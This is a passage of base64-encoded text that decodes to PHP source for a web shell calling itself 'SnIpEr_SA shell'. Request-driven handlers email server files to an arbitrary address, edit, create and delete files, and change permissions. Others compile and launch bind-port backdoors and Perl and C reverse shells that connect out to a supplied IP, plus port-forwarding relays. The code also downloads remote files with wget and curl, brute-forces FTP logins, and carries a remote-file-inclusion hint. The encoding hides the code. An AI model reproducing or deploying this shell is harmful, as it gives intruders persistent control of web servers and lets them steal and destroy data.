gkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCiB7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2xvY19maWxlJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogZWxzZQ0KICB7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9jX2ZpbGUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2xvY19maWxlJ10pKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KICAgICRhdHRhY2ggPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIm5hbWUiPT4kZmlsZW5hbWUsDQogICAgICAgICAgICAgICAgICAgICJ0eXBlIj0+JG1pbWVfdHlwZSwNCiAgICAgICAgICAgICAgICAgICAgImNvbnRlbnQiPT4kZmlsZWR1bXANCiAgICAgICAgICAgICAgICAgICApOw0KICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ViaiddKSkgeyAkX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gU25JcEVyX1NBIHNoZWxsJzsgfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSkgeyAkX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBtaWNyb3NvZnQuY29tJzsgfQ0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsNCiAgICBlcnIoNiskcmVzKTsNCiAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6DQogICBAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KICAgYnJlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3dpdGNoKCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgZWxzZSB7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpDQogICAgICAgew0KICAgICAgIGlmKHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MyddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgICB9DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdkaXInOg0KICAgICAgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiY3JlYXRlIil7DQogICAgICBpZihta2RpcigkX1BPU1RbJ21rX25hbWUnXSkpDQogICAgICAgew0KICAgICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCiAgICAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICB9DQogICAgIGJyZWFrOw0KICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydlX25hbWUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkb25seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0NCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVsc2Ugew0KIGVjaG8gJHRhYmxlX3VwMzsNCiBlY2hvICRmb250Ow0KIGVjaG8gIjxmb3JtIG5hbWU9c2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7DQogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xMjEgcm93cz0yND4iOw0KIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSkpOw0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90ZXh0YXJlYT4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10uIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsNCiBlY2hvICghZW1wdHkoJG9ubHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXS4iIFwiPiIpKTsNCiBlY2hvICI8L2Rpdj4iOw0KIGVjaG8gIjwvZm9udD4iOw0KIGVjaG8gIjwvZm9ybT4iOw0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogZXhpdCgpOw0KIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpDQogew0KICRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJ3IikpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0NCiBlbHNlIHsNCiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7DQogQGZ3cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAdG91Y2goJF9QT1NUWydlX25hbWUnXSwkbXRpbWUsJG10aW1lKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogfQ0KIH0NCg0KDQoNCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9iZC5jIik7DQogQHVubGluaygiL3RtcC9iZC5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkIjsNCiRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgdHJ5IGNvbm5lY3QgdG8gbmMgLXZ2ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOw0KDQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydDEnXSkpDQp7DQogY2YoImJkcyIsJHBvcnRfYmluZF9iZF9jcyk7DQogJGJsYWggPSBleCgiY2htb2QgNzc3IGJkcyIpOw0KICRibGFoID0gZXgoIi4vYmRzICIuJF9QT1NUWydwb3J0MSddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IGluc3RhbGwgYmFja2Rvb3IgY29ubmVjdCB0byBwb3J0ICI7DQogIH1lbHNlew0KY2YoIi90bXAvYmRzIiwkcG9ydF9iaW5kX2JkX2NzKTsNCiAkYmxhaCA9IGV4KCJjaG1vZCA3NzcgYmRzIik7DQogJGJsYWggPSBleCgiLi90bXAvYmRzICIuJF9QT1NUWydwb3J0MSddLiIgJiIpOw0KIH0NCmlmICghZW1wdHkoJF9QT1NUWydwaHBfaW5pMSddKSkNCnsNCiBjZigicGhwLmluaSIsJHBocF9pbmkxKTsNCiAgJF9QT1NUWydjbWQnXT0iIOHH7d7H3SDH4dPt3SDj5s8gcGhwLmluaSDK4yDS0dog4+HdIjsNCiB9DQoNCiBpZiAoIWVtcHR5KCRfUE9TVFsnaHRhY2NlcyddKSkNCnsNCiBjZigiLmh0YWNjZXNzIiwkaHRhY2Nlcyk7DQogICRfUE9TVFsnY21kJ109IuHF7d7H3SDH4ePmzyDT3+3m0crtIGh0YWNjZXNzIMrjINLR2iDj4d0iOw0KIH0NCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2ZpbGVfaW5pJ10pKQ0Kew0KIGNmKCJpbmkucGhwIiwkc25pX3Jlcyk7DQoNCiAgJF9QT1NUWydjbWQnXT0iIGh0dHA6Ly90YXJnZXQuY29tL2luaS5waHA/c3M9aHR0cDovL3NoZWxsLnR4dD8g38fhysfh7SBzcyDIx+Hjytvt0SBpbmkucGhwIMfhw+Qg3uMgyNrj4SDH5N/h5s8g4ePh3SI7DQogfQ0KDQppZigoJF9QT1NUWydmaWxldG8nXSAhPSAiIil8fCgkX1BPU1RbJ2ZpbGVmcm9tJ10gIT0gIiIpKQ0KDQp7DQokZGF0YSA9IGltcGxvZGUoIiIsIGZpbGUoJF9QT1NUWydmaWxlZnJvbSddKSk7DQokZnAgPSBmb3BlbigkX1BPU1RbJ2ZpbGV0byddLCAid2IiKTsNCmZwdXRzKCRmcCwgJGRhdGEpOw0KJG9rID0gZmNsb3NlKCRmcCk7DQppZigkb2spDQp7DQokc2l6ZSA9IGZpbGVzaXplKCRfUE9TVFsnZmlsZXRvJ10pLzEwMjQ7DQokc2l6ZWYgPSBzcHJpbnRmKCIlLjJmIiwgJHNpemUpOw0KcHJpbnQgIjxjZW50ZXI+PGRpdiBpZD1sb2dvc3RyaXA+RG93bmxvYWQgLSBPSy4NCigiLiRzaXplZi4i6j8pPC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UNCnsNCnByaW50ICI8Y2VudGVyPjxkaXYgaWQ9bG9nb3N0cmlwPlNvbWV0aGluZyBpcyB3cm9uZy4gRG93bmxvYWQgLSBJUyBOT1QNCk9LPC9kaXY+PC9jZW50ZXI+IjsNCn0NCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2JkcGwiLCRwb3J0X2JpbmRfYmRfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9iZHBsICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmRwbCI7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyB0cnkgY29ubmVjdCB0byBuYyAtdnYgIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9iYWNrIiwkYmFja19jb25uZWN0KTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5EYXRhY2hlZFwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcHMnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydHMnXSkpDQp7DQogY2YoIi90bXAvYmFja3MiLCRiYWNrX2Nvbm5lY3RzKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFja3MgIi4kX1BPU1RbJ2lwcyddLiIgIi4kX1BPU1RbJ3BvcnRzJ10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwcyddLiIgcG9ydCAiLiRfUE9TVFsncG9ydHMnXS4iIC4uLlwiIjsNCg0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvYmFjay5jIiwkYmFja19jb25uZWN0X2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jIik7DQogQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9kcGMuYyIsJGRhdGFwaXBlX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQogQHVubGluaygiL3RtcC9kcGMuYyIpOw0KICRibGFoID0gZXgoIi90bXAvZHBjICIuJF9QT1NUWydsb2NhbF9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0NCmlmICghZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKSkNCnsNCmlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7ICRuZm4gPSAkX1BPU1RbJ25ld19uYW1lJ107IH0NCmVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddOyB9DQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLA0KICAgICAgICAgICAgJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgICAgIG9yIHByaW50KCI8Zm9udCBjb2xvcj1yZWQgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXS4iPC9kaXY+PC9mb250PiIpOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQp7DQogc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0KIHsNCiBjYXNlIHdnZXQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgZmV0Y2g6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGx5bng6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGxpbmtzOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgR0VUOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBjdXJsOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiB9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIgfHwgJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSkNCiB7DQogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9DQogZWxzZQ0KICB7DQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UNCiAgIHsNCiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsgICAgICAgIH0NCiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpICAgeyBAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsgICAgICAgIH0NCiAgIH0NCiAgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQoNCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyAkX1BPU1RbJ2NtZCddID0gIiI7IH0NCiBlbHNlIGlmKCEkdXNlcnM9Z2V0X3VzZXJzKCkpIHsgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KIH0NCmVjaG8gJHRhYmxlX3VwMzsNCg0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYhJHNhZmVfbW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH0NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCg0KDQoNCg0KaWYgKCRtZXRob2Q9PSJmaWxlIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlKCRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXIgPSBmaWxlKCRmaWxlKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXIgYXMgJGEpIHsgZWNobyAkYTsgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PiBhbGVyd